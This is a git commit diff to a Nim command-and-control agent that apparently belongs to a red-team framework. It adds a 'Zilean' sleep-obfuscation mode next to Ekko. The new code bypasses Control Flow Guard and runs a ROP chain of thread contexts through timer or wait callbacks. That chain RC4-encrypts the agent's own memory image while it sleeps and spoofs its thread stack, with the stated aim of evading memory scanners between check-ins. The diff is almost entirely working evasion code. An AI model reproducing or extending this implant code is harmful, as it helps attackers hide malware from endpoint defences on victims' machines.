Implemented Zilean sleep obfuscation technique as an alternative to Ekko.

This commit is contained in:
Jakob Friedl
2025-09-02 21:41:04 +02:00
parent f7d97908d1
commit b19f8e1236
5 changed files with 246 additions and 87 deletions

80
src/agent/core/cfg.nim Normal file
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@@ -0,0 +1,80 @@
# This is a Nim-Port of the CFG bypass required for Ekko sleep to work in a CFG enabled process (like rundll32.exe or explorer.exe)
# Original works : https://github.com/ScriptIdiot/sleepmask_ekko_cfg, https://github.com/Crypt0s/Ekko_CFG_Bypass
import winim/lean
import ../../common/utils
type
CFG_CALL_TARGET_INFO {.pure.} = object
Offset: ULONG_PTR
Flags: ULONG_PTR
VM_INFORMATION {.pure.} = object
dwNumberOfOffsets: DWORD
plOutput: ptr ULONG
ptOffsets: ptr CFG_CALL_TARGET_INFO
pMustBeZero: PVOID
pMoarZero: PVOID
MEMORY_RANGE_ENTRY {.pure.} = object
VirtualAddress: PVOID
NumberOfBytes: SIZE_T
VIRTUAL_MEMORY_INFORMATION_CLASS {.pure.} = enum
VmPrefetchInformation
VmPagePriorityInformation
VmCfgCalltargetInformation
VmPageDirtyStateInformation
# https://ntdoc.m417z.com/ntsetinformationvirtualmemory
proc NtSetInformationVirtualMemory(hProcess: HANDLE, VmInformationClass: VIRTUAL_MEMORY_INFORMATION_CLASS, NumberOfEntries: ULONG_PTR, virtualAddresses: ptr MEMORY_RANGE_ENTRY, vmInformation: PVOID, VmInformationLength: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetInformationVirtualMemory"), dynlib: protect("ntdll.dll").}
# Value taken from: https://www.codemachine.com/downloads/win10.1803/winnt.h
var CFG_CALL_TARGET_VALID = 0x00000001
proc evadeCFG*(address: PVOID): BOOL =
var dwOutput: ULONG
var status: NTSTATUS
var mbi: MEMORY_BASIC_INFORMATION
var vmInformation: VM_INFORMATION
var virtualAddresses: MEMORY_RANGE_ENTRY
var offsetInformation: CFG_CALL_TARGET_INFO
var size: SIZE_T
# Get start of region in which function resides
size = VirtualQuery(address, addr(mbi), sizeof(mbi))
if size == 0x0:
return false
if mbi.State != MEM_COMMIT or mbi.Type != MEM_IMAGE:
return false
# Region in which to mark functions as valid CFG call targets
virtualAddresses.NumberOfBytes = cast[SIZE_T](mbi.RegionSize)
virtualAddresses.VirtualAddress = cast[PVOID](mbi.BaseAddress)
# Create an Offset Information for the function that should be marked as valid for CFG
offsetInformation.Offset = cast[ULONG_PTR](address) - cast[ULONG_PTR](mbi.BaseAddress)
offsetInformation.Flags = CFG_CALL_TARGET_VALID # CFG_CALL_TARGET_VALID
# Wrap the offsets into a VM_INFORMATION
vmInformation.dwNumberOfOffsets = 0x1
vmInformation.plOutput = addr(dwOutput)
vmInformation.ptOffsets = addr(offsetInformation)
vmInformation.pMustBeZero = nil
vmInformation.pMoarZero = nil
# Register `address` as a valid call target for CFG
status = NtSetInformationVirtualMemory(
GetCurrentProcess(),
VmCfgCalltargetInformation,
cast[ULONG_PTR](1),
addr(virtualAddresses),
cast[PVOID](addr(vmInformation)),
cast[ULONG](sizeof(vmInformation))
)
if status != STATUS_SUCCESS:
return false
return true

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@@ -346,8 +346,10 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# Verifying that the object file's architecture is x64 # Verifying that the object file's architecture is x64
when defined(amd64): when defined(amd64):
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64: if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Only x64 object files are supported") raise newException(CatchableError, "Only x64 object files are supported")
else: else:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Only x64 object files are supported") raise newException(CatchableError, "Only x64 object files are supported")
# Calculate required virtual memory # Calculate required virtual memory
@@ -357,12 +359,16 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# Allocate memory # Allocate memory
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
if virtAddr == NULL: if virtAddr == NULL:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, $GetLastError()) raise newException(CatchableError, $GetLastError())
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
# Allocate heap memory to store section map array # Allocate heap memory to store section map array
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP))) objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
if objCtx.secMap == NULL: if objCtx.secMap == NULL:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, $GetLastError()) raise newException(CatchableError, $GetLastError())
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
@@ -392,14 +398,18 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
echo "[*] Processing sections and performing relocations." echo "[*] Processing sections and performing relocations."
if not objectProcessSection(addr objCtx): if not objectProcessSection(addr objCtx):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Failed to process sections.") raise newException(CatchableError, "Failed to process sections.")
# Executing the object file # Executing the object file
echo "[*] Executing." echo "[*] Executing."
if not objectExecute(addr objCtx, entryFunction, args): if not objectExecute(addr objCtx, entryFunction, args):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.") raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
echo "[+] Object file executed successfully." echo "[+] Object file executed successfully."
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
return true return true
#[ #[

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@@ -1,6 +1,8 @@
import winim/lean import winim/lean
import winim/inc/tlhelp32 import winim/inc/tlhelp32
import os, system, strformat import os, system, strformat
import ./cfg
import ../../common/[types, utils, crypto] import ../../common/[types, utils, crypto]
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider # Sleep obfuscation implementation based on Ekko, originally developed by C5pider
@@ -18,11 +20,15 @@ type
NotificationEvent, NotificationEvent,
SynchronizationEvent SynchronizationEvent
WAIT_CALLBACK_ROUTINE = proc(Parameter: PVOID, TimerOrWaitFired: BOOLEAN): VOID
PWAIT_CALLBACK_ROUTINE = ptr WAIT_CALLBACK_ROUTINE
# Required APIs (definitions taken from NtDoc) # Required APIs (definitions taken from NtDoc)
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").} proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").} proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").} proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
proc RtlRegisterWait( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlRegisterWait"), dynlib: protect("ntdll.dll").}
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").} proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").} proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
@@ -67,7 +73,12 @@ proc GetRandomThreadCtx(): CONTEXT =
return ctx return ctx
# Ekko sleep obfuscation with stack spoofing # Ekko sleep obfuscation with stack spoofing
proc sleepEkko*(sleepDelay: int) = proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
if sleepDelay == 0:
return
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
@@ -78,12 +89,13 @@ proc sleepEkko*(sleepDelay: int) =
ctxBackup: CONTEXT ctxBackup: CONTEXT
ctxSpoof: CONTEXT ctxSpoof: CONTEXT
hThread: HANDLE hThread: HANDLE
hEvent: HANDLE hEventTimer: HANDLE
hEventWait: HANDLE
hEventStart: HANDLE hEventStart: HANDLE
hEventEnd: HANDLE hEventEnd: HANDLE
queue: HANDLE queue: HANDLE
timer: HANDLE timer: HANDLE
value: DWORD = 0 oldProtection: DWORD = 0
delay: DWORD = 0 delay: DWORD = 0
try: try:
@@ -91,6 +103,9 @@ proc sleepEkko*(sleepDelay: int) =
NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue")) NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032")) SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
discard evadeCFG(NtContinue)
# Locate image base and size # Locate image base and size
var imageBase = GetModuleHandleA(NULL) var imageBase = GetModuleHandleA(NULL)
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
@@ -104,128 +119,177 @@ proc sleepEkko*(sleepDelay: int) =
key.Buffer = keyBuffer.addr key.Buffer = keyBuffer.addr
key.Length = cast[DWORD](keyBuffer.len()) key.Length = cast[DWORD](keyBuffer.len())
# Sleep obfuscation implementation using NTAPI # Sleep obfuscation implementation using Windows Native API functions
# Create timer queue # Create timer queue
if mode == EKKO:
status = RtlCreateTimerQueue(addr queue) status = RtlCreateTimerQueue(addr queue)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
defer: discard RtlDeleteTimerQueue(queue)
# Create events # Create events
status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) status = NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
defer: CloseHandle(hEvent)
if mode == ZILEAN:
status = NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
defer: CloseHandle(hEventStart)
status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
defer: CloseHandle(hEventEnd)
# Retrieve a random thread context from the current process
ctxSpoof = GetRandomThreadCtx()
if mode == EKKO:
# Retrieve the initial thread context # Retrieve the initial thread context
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD) delay += 100
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD) delay += 100
status = RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
WaitForSingleObject(hEvent, 1000) elif mode == ZILEAN:
delay += 100
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
delay += 100
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
# Wait for events to finish before continuing
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
if spoofStack:
# Stack duplication
# Create handle to the current process # Create handle to the current process
# Retrieve a random thread context from the current process
ctxSpoof = GetRandomThreadCtx()
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
defer: CloseHandle(hThread)
# Preparing the ROP chain # Preparing the ROP chain
# Initially, each element in this array will have the same context as the timer's thread context # Initially, each element in this array will have the same context as the timer's thread context
for i in 0 ..< ctx.len(): for i in 0 ..< ctx.len():
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer dec(ctx[i].Rsp, sizeof(PVOID)) # Stack alignment, due to the RSP register being incremented by the size of a pointer
var gadget = 0
# ROP Chain # ROP Chain
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[0].Rcx = cast[DWORD64](hEventStart) ctx[gadget].Rcx = cast[DWORD64](hEventStart)
ctx[0].Rdx = cast[DWORD64](INFINITE) ctx[gadget].Rdx = cast[DWORD64](INFINITE)
ctx[0].R8 = cast[DWORD64](NULL) ctx[gadget].R8 = cast[DWORD64](FALSE)
inc gadget
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
ctx[1].Rip = cast[DWORD64](VirtualProtect) ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
ctx[1].Rcx = cast[DWORD64](imageBase) ctx[gadget].Rcx = cast[DWORD64](imageBase)
ctx[1].Rdx = cast[DWORD64](imageSize) ctx[gadget].Rdx = cast[DWORD64](imageSize)
ctx[1].R8 = cast[DWORD64](PAGE_READWRITE) ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
ctx[1].R9 = cast[DWORD64](addr value) ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
inc gadget
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
ctx[2].Rip = cast[DWORD64](SystemFunction032) ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
ctx[2].Rcx = cast[DWORD64](addr img) ctx[gadget].Rcx = cast[DWORD64](addr img)
ctx[2].Rdx = cast[DWORD64](addr key) ctx[gadget].Rdx = cast[DWORD64](addr key)
inc gadget
# Ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration. if spoofStack:
# ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
ctxBackup.ContextFlags = CONTEXT_ALL ctxBackup.ContextFlags = CONTEXT_ALL
ctx[3].Rip = cast[DWORD64](GetThreadContext) ctx[gadget].Rip = cast[DWORD64](GetThreadContext)
ctx[3].Rcx = cast[DWORD64](hThread) ctx[gadget].Rcx = cast[DWORD64](hThread)
ctx[3].Rdx = cast[DWORD64](addr ctxBackup) ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
inc gadget
# Ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context. # ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
ctx[4].Rip = cast[DWORD64](SetThreadContext) ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
ctx[4].Rcx = cast[DWORD64](hThread) ctx[gadget].Rcx = cast[DWORD64](hThread)
ctx[4].Rdx = cast[DWORD64](addr ctxSpoof) ctx[gadget].Rdx = cast[DWORD64](addr ctxSpoof)
inc gadget
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. # ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
ctx[5].Rip = cast[DWORD64](WaitForSingleObjectEx) ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[5].Rcx = cast[DWORD64](GetCurrentProcess()) ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
ctx[5].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
ctx[5].R8 = cast[DWORD64](FALSE) ctx[gadget].R8 = cast[DWORD64](FALSE)
inc gadget
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory # ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
ctx[6].Rip = cast[DWORD64](SystemFunction032) ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
ctx[6].Rcx = cast[DWORD64](addr img) ctx[gadget].Rcx = cast[DWORD64](addr img)
ctx[6].Rdx = cast[DWORD64](addr key) ctx[gadget].Rdx = cast[DWORD64](addr key)
inc gadget
# Ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup. if spoofStack:
ctx[7].Rip = cast[DWORD64](SetThreadContext) # ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
ctx[7].Rcx = cast[DWORD64](hThread) ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
ctx[7].Rdx = cast[DWORD64](addr ctxBackup) ctx[gadget].Rcx = cast[DWORD64](hThread)
ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
inc gadget
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] # ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
ctx[8].Rip = cast[DWORD64](VirtualProtect) ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
ctx[8].Rcx = cast[DWORD64](imageBase) ctx[gadget].Rcx = cast[DWORD64](imageBase)
ctx[8].Rdx = cast[DWORD64](imageSize) ctx[gadget].Rdx = cast[DWORD64](imageSize)
ctx[8].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
ctx[8].R9 = cast[DWORD64](addr value) ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
inc gadget
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete # ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
ctx[9].Rip = cast[DWORD64](NtSetEvent) ctx[gadget].Rip = cast[DWORD64](NtSetEvent)
ctx[9].Rcx = cast[DWORD64](hEventEnd) ctx[gadget].Rcx = cast[DWORD64](hEventEnd)
ctx[9].Rdx = cast[DWORD64](NULL) ctx[gadget].Rdx = cast[DWORD64](NULL)
# Executing timers # Executing timers
for i in 0 ..< ctx.len(): for i in 0 .. gadget:
delay += 100 delay += 100
if mode == EKKO:
status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
elif mode == ZILEAN:
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
echo protect("[*] Triggering sleep obfuscation.") echo protect("[*] Triggering sleep obfuscation.")
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, $status.toHex()) raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Ending sleep obfuscation.")
except CatchableError as err: except CatchableError as err:
sleep(sleepDelay) sleep(sleepDelay)
echo protect("[-] "), err.msg echo protect("[-] "), err.msg
finally:
# Cleanup
if queue != 0: discard RtlDeleteTimerQueue(queue)
if hEventTimer != 0: CloseHandle(hEventTimer)
if hEventWait != 0: CloseHandle(hEventWait)
if hEventStart != 0: CloseHandle(hEventStart)
if hEventEnd != 0: CloseHandle(hEventEnd)
if hThread != 0: CloseHandle(hThread)

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@@ -36,7 +36,8 @@ proc main() =
while true: while true:
# Sleep obfuscation with stack spoofing to evade memory scanners # Sleep obfuscation with stack spoofing to evade memory scanners
sleepEkko(ctx.sleep * 1000) sleepObfuscate(ctx.sleep * 1000, ZILEAN)
# sleep(ctx.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo "\n", fmt"[*] [{date}] Checking in." echo "\n", fmt"[*] [{date}] Checking in."

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@@ -76,6 +76,10 @@ type
LOG_SUCCESS = "[DONE] " LOG_SUCCESS = "[DONE] "
LOG_WARNING = "[WARN] " LOG_WARNING = "[WARN] "
SleepObfuscationMode* = enum
EKKO = 0'u8
ZILEAN = 1'u8
# Encryption # Encryption
type type
Uuid* = uint32 Uuid* = uint32